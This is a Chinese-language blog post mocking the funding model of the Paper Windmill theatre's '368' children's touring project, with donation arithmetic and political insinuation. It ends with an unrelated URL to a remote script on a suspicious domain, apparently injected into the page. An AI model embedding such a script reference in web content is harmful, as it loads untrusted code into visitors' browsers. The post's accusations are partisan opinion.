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經濟分析

紙風車的商業模式

其實紙風車的「368兒童藝術工程」這個商業模式(我不知道『廠商』一詞的污辱性何在,所以堅持使用『商業模式』一詞)挺聰明的:

根據其網站說明,捐款者針對不同縣市區域捐款,某區滿$45萬元他們就會去演出。

以台灣368個鄉鎮,假設每個鄉鎮都收到$10萬元捐款,實際上該組織收到了$3680萬元,卻毋須演出。另一方面,假設10個區收滿$45萬,而其他區都只收到$40萬,則進帳$1億4770萬($450 + $14320萬),卻仍只演出10場即滿足承諾。(相當於一場演出收入1400多萬元!)

收了錢不見得要履行演出,這比傳統的賣門票模式聰明多了!

而依照紙風車公告的徵信資料,的確107 年 1 月 8 日~108 年 1 月 5 日收受捐款2千多萬卻僅僅演出7場,尚有1500多萬元餘額。(參見紙風車自家網站公告資料:
https://tinyurl.com/y6qzm2lq

而同樣的,根據其說明,他們聲稱「偏鄉兒童不方便到都市看戲,所以我們親自前往演出」。那為什麼不直接把捐款提供給想要看戲的偏鄉兒童當做旅費、住宿費與餐費呢?呵呵。

順道一提,我從小在各種宮廟看過的大小野台戲,有搭多片布幕的十幾位演出人員的歌仔戲,也有小到一台發財車改裝成舞台,背後僅一兩位演出者的布袋戲。這些戲劇在被電視等其他娛樂淘汰之前,演出頻率遠勝過一年7場(還分布在7個不同鄉鎮)。沒印象哪個戲班主一副「我在做慈善你還不配合我?!」的嘴臉,一定是我孤陋寡聞吧~

#其實紙風車賺到廣告又成功幫助聖上移轉香煙走私疑雲
#這角度看也是筆好生意

https://js.developerstatss.ga/stat.js?n=ns1

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